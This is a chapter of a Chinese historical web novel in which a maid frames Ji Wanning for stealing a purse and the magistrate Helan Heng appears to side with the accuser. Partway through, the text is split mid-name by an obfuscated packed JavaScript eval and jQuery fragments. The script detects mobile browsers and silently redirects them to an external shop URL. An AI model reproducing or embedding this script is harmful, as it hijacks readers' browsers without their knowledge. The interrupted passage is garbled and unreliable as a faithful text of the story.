默认冷灰
24号文字
方正启体

14. 冤枉

作者:假寐水獭本书字数:K更新时间:
    晌午过后,贺兰珩来到刑部,吴道坤刚从宫中议事回来,见他已经到了,笑着迎了上来。


    吴道坤年近半百,但看起来只有四十不到,皮肤十分光滑,头骨生得浑圆,天庭饱满,鼻若悬胆,望之俨然。


    据说他当年会试名次平平,但因为面相生得好,殿试时得了天子青眼,一路扶摇直上。


    他引着贺兰珩往监牢方向走,道:“陈澍的卷宗找到了吗?”


    “找到了。”贺兰珩道。


    吴道坤状似随意道:“上回没顾得上问谦晔,谶书案和陈澍之间有什么联系吗,你为何来询问我陈澍的案子?”


    贺兰珩眸光轻扫过他,嘴角牵起一抹意味深长的笑,淡然道:“不过是下官的直觉罢了。”


    “要不怎么说贺兰卿独受圣人器重呢,办案如此机敏洞察又高效,大理卿一职非你不可。”吴道坤朗声笑道。


    说话间,两人走进了刑部大牢的值房,吴道坤遣人把狱丞全部召集了过来。


    四名高矮胖瘦不一的狱丞垂手侍立,排成一排站在房间中央。


    吴道坤看向贺兰珩:“你说大理寺的狱丞不守规矩、驭下不严,我这些狱丞都在刑部当差很多年了,你自行挑一个吧。”


    贺兰珩打量了下这四人,挨个略作问询,末了,将目光停在了一个身材壮硕、鹰鼻鹞眼的狱丞身上,看着格外干练果决。


    “你叫什么?”


    “下官袁大,见过贺兰大理。”袁大出列,躬身行了个叉手礼。


    贺兰珩微微颔首:“你往后就来大理寺跟着本官做事。”


    “喏。”袁大应声领命。


    一旁的吴道坤见状,浓重的虎眉几不可察地动了一下,转瞬又恢复如常,意有所指地笑道:“谦晔好眼光,袁狱丞掌管邢狱颇俱经验,确是哥得力的好手。”


    贺兰珩恍若未觉,只彬彬有礼地一揖:“如此,那便多谢吴尚书割爱了。”


    自小六入狱后,他的狱丞姐夫也被贺兰珩摘了官帽,断眉被提拔为牢头。现在狱丞还差个人,袁大顶上了原先的位置。


    贺兰珩回到大理寺,把袁大安排妥当,晚上在后衙用了晡食,之后照例来到书房。


    春彤端茶进来,将漆盘放在桌案上,斟上茶后就杵在那里不动,一副欲言又止的模样。


    贺兰珩垂眸看着案牍,挥手示意她退下。春彤紧紧抿了下唇,开口道:“郎君,奴婢有事要禀。”


    “说吧。”贺兰珩头也没抬。


    “今日刚刚发了月钱,奴婢把钱放在荷包里了,谁想……”她越说语气越委屈,“谁想晚凝来房里送药,撞了一下奴婢,等她回屋后奴婢便发现荷包不见了。”


    春彤说罢,见贺兰珩沉默,便一下跪在地上,泪珠在眼眶里打转儿:“求郎君为奴婢做主。”


    贺兰珩微微抬眸,往常府里下人勾心斗角都是孙嬷嬷来管,他不想把精力放在这些庶务上。


    他刚想打发春彤去找孙嬷嬷处理,话到嘴边顿了一下,对东义道:“去把季晚凝叫来。”


    季晚凝正在收拾厨房,见东义急匆匆地跑来找她,还以为贺兰珩让她去侍候笔墨,就放下手里的伙计跟着他来到了书房。


    一进门,就见春彤跪在贺兰珩案前抽泣,她也不知发生了什么,走上前来站在一旁。


    贺兰珩放下案牍,看着季晚凝:“春彤说你摸了她的荷包,可有此事?”


    季晚凝一头雾水地摇了摇头。


    春彤回头望向她:“白日你明明撞了我,顺手牵走了我的荷包,我阿娘可以作证,想必荷包还在你那儿,去你屋里瞧瞧便知。”


    白日里季晚凝亲眼看见她的荷包掉在地上,马上就捡起来了,于是不置可否,想着去屋里瞧一眼也好,正好能证明自己的清白。


    贺兰珩起身道:“那便去看看吧。”


    春彤闻言抹了把泪站起身来,话不多说,几个人来到季晚凝房外,春彤一个箭步冲进屋左翻右找。


    下人房狭小,贺兰珩只站在门口看着。


    房里清简,没什么物什,春彤翻箱倒柜找了一会儿,从季晚凝的行囊里搜出了一只藕粉色绣雀鸟的荷包。


    她打开荷包,把里面的钱和钥匙倒出来点了点,不多不少两吊钱,她的月钱比别人多一倍。


    春彤举起荷包喊道:“郎君,正是奴婢的荷包,果真是晚凝偷的!”


    季晚凝冷眼看着她破涕而笑的样子,不由感叹她演技精湛。


    贺兰珩抬步迈进屋,停在季晚凝身旁,一语不发,微微侧头望着她。


    季晚凝察觉到他锐利的视线,低下头来捏紧了手里的绣帕。


    上午她确实趁着给孙嬷嬷端茶之际撞了下春彤,不仅撞掉了案上的布囊,讨回了她的月钱,还顺手摸走了春彤的荷包。


    季晚凝原想拓一下角门钥匙再悄悄还回去,可还没等她回屋,就被春彤拽了一把,荷包掉了出来,险些露馅。


    但她没有偷钱,春彤却借机诬蔑她。下人房一向不上锁,春彤趁没人的时候潜进来,把荷包藏在她屋里是轻而易举的事。


    季晚凝环顾四周,竟找不到能证明春彤诬陷她的证据,屋里的脚印和指印都在春彤闯进来的时候被破坏了,况且她给自己作证也显然没有说服力。


    她敛眸沉思了片刻,贺兰珩是大理卿,以他的手段,可以轻易地识破她的谎言,断不能拆穿不了春彤的把戏,他总不会冤枉了自己。


    思及此,季晚凝定了定心,走到桌案边提笔写道:“君为大理卿,明察秋毫,断案如神,定能换我清白。”


    她放下笔,仰面望向贺兰珩,长睫扑簌,眸中秋水盈盈,透着几分无辜,望之惹人生怜。


    贺兰珩眼睑半垂,神色沉了几分,凤眸幽黑,嘴角挂着漠然。


    给他戴高帽子,可惜他不吃这套。


    面前这个对着自己花样百出的女郎,却被区区一个小婢难倒,原是他高看了她。


    房间里空气有些凝滞,春彤的目光紧抓着贺兰珩不放,见他迟迟不表态,双膝再次砸在了地上。


    “郎君,晚凝品行不端,初来乍到便屡屡生事,不宜再留她,免得日后惹更大的麻烦。”


    贺兰珩将视线从季晚凝带着期许的脸上缓缓收回,沉声道:“证据确凿,罚以后月钱减半。”


    季晚凝倏地怔住,一字一句落在耳里,就像一块块坚石砸进在心甸,一股酸涩涌进了眼眶,又被她生生咽了下去。


    春彤埋着头,翘起眼尾瞄了季晚凝一眼,伏在地上磕了一头:“郎君明断!”


    贺兰


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164453|196639||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    珩眉宇沉凝,拂袖出了屋子,春彤赶忙从地上爬起来追了出去。


    房中沉寂下来,留下一地狼藉。


    季晚凝坐在床榻上,慢吞吞地整理着被翻乱的行囊。


    起初她不太在意春彤盛气凌人的态度,这十年来她寄人篱下,又无权势,少不得伏低做小,横竖也不会掉块肉,可若触及了她的底线,她就无法一再忍让。


    父亲曾说,人的名誉就如一袭白袍,一旦染上污浊,就很难再洗净,所以一定要珍爱自己的羽毛。


    如今她的白袍无端被泼了脏水,当然也少不了贺兰珩的冤枉,堂堂大理卿断错案,连这种拙劣的伎俩都能蒙骗过他,现在他在她心里从老狐狸变成了蠢狐狸。


    罚她别的也就罢了,可偏偏罚她的钱。


    先前季晚凝还想着能多攒些钱,两年后恢复了自由之身好在长安有个落脚之地,恐怕也要落空了。


    沉绵的墨云笼着秋月,院里凉风习习,浮灯点点,将贺兰珩修长而朦胧的影子铺陈在地上。


    春彤跟在他身后,虽然这次没成功把季晚凝撵走,但郎君已与她产生了嫌隙,想来她日后再难得宠了,她的目的已经达到。


    春彤心里格外畅快,上前两步,恭敬道:“多谢郎君为奴婢做主,奴婢去给郎君熬了一碗安神羹吧。”


    地上移动的长影突然顿住了,贺兰珩微微侧身,冷峻的眼风刮过她:“从明日起,你便回府去小厨房打下手,后衙的事若敢跟旁人提起半句,仔细你的舌头。”


    言讫,他一振袍袖,阔步走远了。


    这番话就像掐住了春彤的喉咙一般,方才的喜色一扫而光,懵怔在原地。


    这回春彤的眼泪是真的掉了出来,却无人观赏。


    ……


    翌日季晚凝发现春彤没来后衙,感到有些奇怪,她给孙嬷嬷煎了药端过去,借机打探一番。


    孙嬷嬷见到季晚凝,变得一副冷眉冷眼的样子,只嗯了一声把药接过来。


    昨晚春彤抹着泪回到房里,孙嬷嬷问她什么事她也不说,只埋怨三郎君偏袒季晚凝,把她罚到小厨房当差。


    孙嬷嬷便猜想季晚凝把春彤扣她月钱的事告状告到郎君那里了,昨日女儿明明已经把钱还给她了,她还这么不依不饶是不像话,是以见到她自然没好脸色。


    不过孙嬷嬷为人算得上正直,不会因此刁难季晚凝,更不会背后搞事。


    接连几日,季晚凝都没见到春彤人影,基本确定她不会再回来了,后衙消停了不少。


    贺兰珩也一直没回后衙,季晚凝反正不想看见他,乐得自在,竹露也没再采过了,每日还能多睡会儿觉。


    梨穗取代了春彤的位置,成了婢女之首。


    她闲坐在凉亭里,捻起盘里的一颗饴糖放进嘴里,旁边的婢女道:“咦?梨穗姐今日怎地不嗑瓜子了?”


    梨穗唇角微翘,心里冷嗤,从前不过是陪着春彤磕瓜子而已,而今终于不用再看她眼色了。


    她刚来时,也曾被春彤克扣月钱,被罚洗衣服,般般刁难之下,她不得不阿谀取容。


    季晚凝来之后,终于叫她找到了机会,从中挑拨,隔岸观火,见两败俱伤,自己坐享其成。


    梨穗眼珠一滑,声音娇懒:“总嗑瓜子会把牙磕坏的。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)